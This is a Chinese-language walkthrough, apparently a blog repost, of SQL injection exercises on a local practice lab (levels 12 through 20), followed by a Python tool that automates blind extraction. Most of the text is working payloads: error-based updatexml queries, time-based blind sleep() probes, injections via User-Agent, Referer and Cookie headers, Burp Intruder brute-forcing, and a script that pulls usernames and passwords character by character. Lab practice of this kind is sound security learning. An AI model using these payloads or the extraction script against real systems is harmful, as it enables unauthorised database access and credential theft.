1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)
但是报错了
SQL注入实操(Less1-20)_第108张图片

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select updatexml(1,concat(0x7e,(SELECT database())),0x7e)") and password=(’ at line 1
通过这个报错信息我们能发现什么呢,猜测传进去的数值应该都被括号()包裹起来了
先试下用户名输入1" ) --+(,密码输入”发现没报错,然后再试
1" ) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
SQL注入实操(Less1-20)_第109张图片

说明下,这里第一个)起到闭合用户名的作用,第二个(闭合密码,然后中间空出来的这段就留给我们注入了

c.获取表信息

知道了轮子(结构),试下看下能否直接替换
用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
SQL注入实操(Less1-20)_第110张图片

d.获取列信息

用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+(
SQL注入实操(Less1-20)_第111张图片

e.获取表内数据

用户名输入
1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)–+(
SQL注入实操(Less1-20)_第112张图片

1" ) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 12,1), 0x7e),1)–+(
SQL注入实操(Less1-20)_第113张图片
SQL注入实操(Less1-20)_第114张图片

Ok,这关结束

14.Less-13

a.注入点判断

两个输入框都对’敏感,说明存在sql注入点
SQL注入实操(Less1-20)_第115张图片

b.轮子测试

接下来测试轮子
用户名输入1’) --+(,密码输入’发现没有报错,猜测这就是轮子
SQL注入实操(Less1-20)_第116张图片

c.获取数据库名称

在轮子的基础上用户名输入
1’) union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+(
在这里插入图片描述

d.获取表信息

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+(
SQL注入实操(Less1-20)_第117张图片

e.获取列信息

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+(
SQL注入实操(Less1-20)_第118张图片

f.获取表内数据

在轮子的基础上用户名输入
1’) union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+(
SQL注入实操(Less1-20)_第119张图片

发现这里拿到的用户名每个都可以登录,应该改成特定关卡用特定用户名密码才对
SQL注入实操(Less1-20)_第120张图片

15.Less-14

a.注入点判断

又是双引号
SQL注入实操(Less1-20)_第121张图片

b.轮子测试

SQL注入实操(Less1-20)_第122张图片

这个不会这么简单吧,直接就让我找到了,轮子:1" --+

c.获取数据库名称

在轮子的基础上用户名输入
1" union select updatexml(1,concat(0x7e,(SELECT database())),0x7e) --+
SQL注入实操(Less1-20)_第123张图片

d.获取表信息

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e) --+
SQL注入实操(Less1-20)_第124张图片

e.获取列信息

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

f.获取表内数据

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+
SQL注入实操(Less1-20)_第125张图片在这里插入图片描述

16.Less-15

a.注入点判断

在这里插入图片描述

15关看来是盲注无疑了,界面上测什么都没有响应,只有输入正确的bool语句才行
但是在输入框里做盲注怎么测呢
网上查了下资料说这关需要用到时间盲注了,终于用到了,可是怎么用呢,用户名里输入
1’ and if(1=2, 1, ,sleep(1))
可是怎么测试也不行,这里根本看不到有延时的样子,咋回事呢
在这里插入图片描述

但是发现下面这种情况有延时
admin’ and sleep(0.5)#
SQL注入实操(Less1-20)_第126张图片

b.轮子测试

用户名输入
admin’ and if(1=1, sleep(0.5), 1)#,密码1
在这里插入图片描述

admin’ and if(1=2, sleep(0.5), 1)#,密码1
在这里插入图片描述

故该轮子可用,以延时时间作为正确与否的判断依据

c.获取数据库名称+burp爆破

在轮子的基础上用户名输入
admin’ and if(length(database())=8, sleep(1), 1)#
在这里插入图片描述

admin’ and if(length(database())=7, sleep(1), 1)#
在这里插入图片描述

说明数据库长度是8
用户名输入
admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#
在这里插入图片描述

说明第一个字母是s
但是接下来怎么办呢,一个一个字母试吗,效率太低了,工具能获得时间吗,只能试下了
我们先用burp试下
比如以
admin’ and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#为例
抓包拦截,将其发送到Intruder,先设置’s’这个参数
SQL注入实操(Less1-20)_第127张图片

Payload里选择我们预先准备好的字符字典
SQL注入实操(Less1-20)_第128张图片SQL注入实操(Less1-20)_第129张图片

字典里包括一些常见的特殊字符
Option里重定向选always
SQL注入实操(Less1-20)_第130张图片

资源池resource pool设置单线程
在这里插入图片描述

然后开始attack,如果正确的话应该能发现最长响应时间是’s’
看响应时间记得勾选这个completed
SQL注入实操(Less1-20)_第131张图片

果然是s
SQL注入实操(Less1-20)_第132张图片

比如第二个字母应该是e,现在可以得出一个结论,burp里正确的length发现都是1677可以据此找出是否找到
SQL注入实操(Less1-20)_第133张图片

接下来我们批量扫下,把8个字母全部一起扫出来
SQL注入实操(Less1-20)_第134张图片

第一个payload
SQL注入实操(Less1-20)_第135张图片

第二个和之前设的一样,还是自定义字符,这是爆破结果,如果发现顺序有点不一样,先点下payload1,再点下点Length就行
SQL注入实操(Less1-20)_第136张图片

好了,至此burp也可以用以实战了

d.获取表信息

在轮子的基础上用户名输入
admin’ and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)#
在这里插入图片描述

而用admin’ and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =28, sleep(1), 1)#
在这里插入图片描述

说明表长度是29
在轮子的基础上用户名输入
admin’ and if(substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
用burp批量爆破下
第一个payload长度记得设置成29,以下是爆破结果
SQL注入实操(Less1-20)_第137张图片

可以发现和正确答案一模一样
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
admin’ and if(length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20, sleep(1), 1)#
在这里插入图片描述

延迟1秒多,说明长度是20
在轮子的基础上用户名输入
admin’ and if(substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
然后用burp批量爆破
SQL注入实操(Less1-20)_第138张图片

和正确答案一模一样
在这里插入图片描述

f.获取表内数据
在轮子的基础上用户名输入
admin’ and if(length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188, sleep(1), 1)#
在这里插入图片描述

延迟1秒多,说明长度是188,当然这个188也可以用爆破获得,以下实操下
SQL注入实操(Less1-20)_第139张图片

可以发现1677的188找到了,确实延迟了1秒多
在轮子的基础上用户名输入
admin’ and if(substr(substr((select group_concat(username, ‘:’, password) from users), 1),1,1) = ‘s’, sleep(1), 1)#
Burp爆破结果
SQL注入实操(Less1-20)_第140张图片

正确结果如下,可见完全正确
SQL注入实操(Less1-20)_第141张图片

17.Less-16

a.注入点判断

还是时间盲注,但是怎么试不出变化来呢
测试后发现居然会判断用户名是不是存在admin,不存在失败的,这也给了我一个提醒,以后就用admin测试好了
admin") and sleep(1) #
在这里插入图片描述

b.轮子测试

用户名输入
admin") and if(1=1, sleep(1), 1)#,密码1
在这里插入图片描述

延迟1秒,轮子可用

c.获取数据库名称

在轮子的基础上用户名输入
admin") and if(length(database())=8, sleep(1), 1)#
在这里插入图片描述

说明长度是8
用户名输入
admin") and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
SQL注入实操(Less1-20)_第142张图片

d.获取表信息

在轮子的基础上用户名输入
admin") and if(length(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1)) =29, sleep(1), 1)#
在这里插入图片描述

说明长度是29
用户名输入
admin") and if(substr(substr((select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
在这里插入图片描述

e.获取列信息

在轮子的基础上用户名输入
admin") and if(length(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1)) =20, sleep(1), 1)#
在这里插入图片描述

说明长度是20
用户名输入
admin") and if(substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
SQL注入实操(Less1-20)_第143张图片

f.获取表内数据

在轮子的基础上用户名输入
admin") and if(length(substr((select group_concat(username, ‘:’, password) from users), 1)) =188, sleep(1), 1)#
在这里插入图片描述

说明长度是188
用户名输入
admin") and if(substr(substr((select group_concat(username, ‘:’, password) from users), 1),1,1) = ‘s’, sleep(1), 1)#
Bp爆破结果
SQL注入实操(Less1-20)_第144张图片

18.Less-17

a.注入点判断

SQL注入实操(Less1-20)_第145张图片

17关看来又有新东西要学了
直接输入admin admin竟然变成改密成功
SQL注入实操(Less1-20)_第146张图片

看来这关是用于改密码的
SQL注入实操(Less1-20)_第147张图片

加单引号,又有报错提示了,但前提条件是需要知道有admin这个用户,先不管那个,后面再研究,先利用报错注入一下

b.获取数据库名称

uname=admin&passwd=2’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+
SQL注入实操(Less1-20)_第148张图片

发现单纯把上面的poc输到框里是没用的,必须在bp抓包重放里做才行,好吧,也算多学到一招

c.获取表信息

uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)
SQL注入实操(Less1-20)_第149张图片

d.获取列信息

uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
SQL注入实操(Less1-20)_第150张图片

e.获取表内数据

uname=admin&passwd=2’ and updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1)
–+
select (extractvalue(1,concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e)));
在这里插入图片描述

但是纳闷的是同样的语句前两个都可以爆出来,这里怎么不行呢
SQL注入实操(Less1-20)_第151张图片

查了很多资料后发现居然需要用双层select才行
uname=admin&passwd=2’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1) --+&submit=Submit
在这里插入图片描述

其中3是密码id

19.Less-18

a.注入点判断

试了下界面上输出没任何变化
在这里插入图片描述在这里插入图片描述

提示说是header注入,难道又需要用到bp
开启拦截看下,UA后面加单引号试下,同时用户名用admin(如果不存在这个用户就不会报错),加2个单引号又正常,加三个再次报错,说明ua这里存在注入
SQL注入实操(Less1-20)_第152张图片

b.轮子测试

现在开始尝试设计轮子
’ 1=1 #
在这里插入图片描述

发现原sql里像是有(v1, v2, v3)的结构,那么是不是要先闭合括号呢
Ua后面加’, 1, 1)#
发现没有报错了,猜想是不是轮子可用
在这里插入图片描述

c.获取数据库名称

然后对括号里的1替换成updatexml
', updatexml(1,concat(0x7e,(SELECT database())),0x7e), 1)#
在这里插入图片描述

d.获取表信息

', updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e), 1)#
在这里插入图片描述

e.获取列信息

', updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e), 1)#
在这里插入图片描述

f.获取表内数据

', updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1), 1)#
在这里插入图片描述

20.轮子模式总结

到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#

21.Less-19

a.注入点判断

还是一样,需要事先知道一个用户名密码,不然没法报错
这次的注入点是Referer:
SQL注入实操(Less1-20)_第153张图片

b.轮子测试

用上一关的轮子试下,', 1, 1)#,报列数不匹配
在这里插入图片描述

减一列或加一列试下,发现减一列可以
在这里插入图片描述

那么轮子就是’, 1)#

c.获取数据库名称

然后对括号里的1替换成updatexml
', updatexml(1,concat(0x7e,(SELECT database())),0x7e))#
在这里插入图片描述

d.获取表信息

', updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e))#
在这里插入图片描述

e.获取列信息

', updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e))#
在这里插入图片描述

f.获取表内数据

', updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1))#
在这里插入图片描述

这两关应该都是用在已经注册了用户知道其中一个用户名密码的情况下的测试,不然根本测不了

22.Less-20

登录后界面变成这样了
SQL注入实操(Less1-20)_第154张图片

Cookie注入,怎么注入呢,抓包看下吧
登录后发现有两个包,其中一个存在cookie
在这里插入图片描述SQL注入实操(Less1-20)_第155张图片

重放看下能不能注入

a.注入点判断

加单引号报错,存在注入点
SQL注入实操(Less1-20)_第156张图片

b.轮子测试

看报错应该是只有一个参数
轮子就是 ’ and #或’ and --+

c.获取数据库名称

’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+
SQL注入实操(Less1-20)_第157张图片

这里要注意两边的括号数是不是相等

d.获取表信息

’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)–+
在这里插入图片描述

e.获取列信息

’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+
在这里插入图片描述

f.获取表内数据

’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)–+
在这里插入图片描述

三、python读取网页返回工具

接下来这个单元我们要开发个工具,专门用于sql注入
输入是个文本,里面是我们写好sql注入的url,我们这里已经是基于批量读取的模块开发
SQL注入实操(Less1-20)_第158张图片SQL注入实操(Less1-20)_第159张图片

可以看到两个网页都只是返回200,那么我们怎么获取网页内容呢
发现在返回200的时候执行以下语句可以获取网页内容
SQL注入实操(Less1-20)_第160张图片

其实这里我有个想法,就是输出用户指定关键字的内容,而不是整个网页都输出来,那样很乱,比如这里的You are in就是个关键字,找到后输出那一行就行,找不到就说找不到,然后每次把找到的结果和url 一起输出到文本中
比如像下面这样
SQL注入实操(Less1-20)_第161张图片

可以看到我们获取到了到指定位置所在行数据
接下来我们还可以做个url输入函数,这样不用手动去改输入文本
比如我们需要遍历写入
127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’–+
像这样遍历写入生成文本
SQL注入实操(Less1-20)_第162张图片

遍历执行后,我们发现在第20行出现了变化
SQL注入实操(Less1-20)_第163张图片

接下来只需要把每次的结果写到文本里就行,像这样,只是把有输出结果的写到文本里就行
在这里插入图片描述

经过验证,确实只有2和20在界面上有响应
也就是说第二个字母和第20个字母都是d,而事实也确实如此
在这里插入图片描述

如此,单个字母的遍历就完成了,接下来再加一重循环就可以完整遍历整个字符串了
像这样遍历每个字母生成url
SQL注入实操(Less1-20)_第164张图片

是不是刚好有id username pa只是还少特殊符号和数字,这里只是把26个字母的遍历加进去了,加上这些之后
SQL注入实操(Less1-20)_第165张图片

刚好全部找到了
SQL注入实操(Less1-20)_第166张图片

以下是这个工具的完整代码

import requests
import os
import sys

def writeurl(file, url, ends1, ends2, num):
    s = ['`', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', ',', '.', ':']
    for i in range(1, num):
        for k  in range(26):    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += chr(ord('a') + k)
            content += "'"
            content += ends2
            file.write(content)
        for k  in range(10):    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += chr(ord('0') + k)
            content += "'"
            content += ends2
            file.write(content)
        for k  in s:    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += k
            content += "'"
            content += ends2
            file.write(content)

def myfind(content, key): 
    if content.find(key) != -1:
        j = 0
        s = []
        start = 0  
        end = 0  
        for i in content:
            j += 1
            if i == '\n' and j < content.find(key):
                start = j
            if j > content.find(key):
                if i == '\n':
                    end = j
                    break
        str1 = ""
        j = 0
        for i in content:
            j+=1
            if j > start and j < end:
                s.append(i)
        str1  = str1.join(s)
        print(str1)
        return str1
    
def getlength(text, value):
    if len(text) == value:
        return True
    else:
        return False



if __name__ == "__main__":
    url = "127.0.0.1:9009/Less-9/?id=14' and substr(substr((select group_concat(username, ':', password) from users), 1), "
    j = 'a'
    fp = open("url1.txt", "w")
        #21是目标长度
    writeurl(fp, url, ", 1)=", "--+\n", 188+1)
    fp.close()
    searchtype = 1  #0是内容查询 1是长度查询

    file_name = input()             #读取文件名
    b = os.path.exists(file_name)   #先判断文件是否存在
    if b == False:
        print("文件不存在")
    else:
        fp1 = open(file_name, "r")      #以只读,打开文件
        fp2 = open("result.txt", "w")
        fp3 = open("output.txt", "w")
        for line in fp1.readlines():    #readlines 按行读取文件,会保留'\n',返回一个(文件中一行为一个元素)列表
            url = "http://" + line         #利用line遍历列表,加上https://,使它成为完整的url
            url = url.replace("\n","")      #把文件中读出来时,末尾的‘\n’去掉(替换成空)
            #print(url)
            try:                        #异常处理
                code = requests.get(url,allow_redirects=False, timeout=5).status_code   #获取状态码,通过状态码判断url网址状态
                #print(code)                                         
                if (code == 200 or code == 412):                   #将状态码为200的保存到result.txt文件中    
                    fp2.write(url + "\n")           #写入时要加入'\n',不会自动添加
                    response = requests.get(url)  
                    if searchtype == 0:
                        content = myfind(response.text, "You are in")
                        if content != None:
                            print(content)
                            c = url
                            c += ":"
                            c += content
                            c += "\n"
                            fp3.write(c)
                    elif searchtype == 1:
                        right = getlength(response.text, 707)
                        if right == True:
                            print(right)
                            c = url
                            c += ":"
                            c += "\n"
                            fp3.write(c)


            except requests.exceptions.ConnectionError:     #requests.exceptions.ConnectionError是一种异常类型
                                  #利用except捕获错误,做出回显(屏幕上有反应),有异常处理,就不会中断脚本运行
                print("Connection Error")
            except Exception as e:  #其他错误
                print("未知错误")
        fp1.close()
        fp2.close()
        fp3.close()
    ss = []
    with open('output.txt', 'r') as f:
        for line in f.readlines():
            pos = line.find("'--+:") - 1
            if pos > 0:
                ss.append(line[pos])
        f.close()
    with open('output.txt', 'a+') as f:
        str1 = ""
        str1  = str1.join(ss)
        f.write(str1)
        f.close()
    print(str1)


你可能感兴趣的:(sql,oracle,数据库)